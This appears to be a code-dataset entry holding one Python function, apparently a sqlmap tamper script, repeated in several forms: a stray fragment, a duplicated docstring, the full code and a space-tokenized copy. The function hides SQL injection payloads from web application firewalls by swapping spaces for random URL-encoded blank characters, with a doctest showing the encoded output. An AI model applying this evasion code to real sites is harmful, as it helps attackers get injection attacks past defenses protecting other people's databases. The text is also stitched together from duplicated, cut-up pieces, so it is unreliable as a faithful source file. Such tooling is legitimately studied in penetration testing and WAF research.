(payload, **kwargs)
return retVal
Replaces space character (' ') with a random blank character from a
    valid set of alternate characters

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.1

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Bid%0DFROM%0Cusers'
Replaces space character (' ') with a random blank character from a
    valid set of alternate characters
Replaces space character ( ) with a random blank character from a valid set of alternate characters
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.1

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Bid%0DFROM%0Cusers'
    """

    # ASCII table:
    #   TAB     09      horizontal TAB
    #   LF      0A      new line
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
    blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue

            retVal += payload[i]

    return retVal
def tamper ( payload , * * kwargs ) : # ASCII table: #   TAB     09      horizontal TAB #   LF      0A      new line #   FF      0C      new page #   CR      0D      carriage return #   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only) blanks = ( '%09' , '%0A' , '%0C' , '%0D' , '%0B' ) retVal = payload if payload : retVal = "" quote , doublequote , firstspace = False , False , False for i in xrange ( len ( payload ) ) : if not firstspace : if payload [ i ] . isspace ( ) : firstspace = True retVal += random . choice ( blanks ) continue elif payload [ i ] == '\'' : quote = not quote elif payload [ i ] == '"' : doublequote = not doublequote elif payload [ i ] == " " and not doublequote and not quote : retVal += random . choice ( blanks ) continue retVal += payload [ i ] return retVal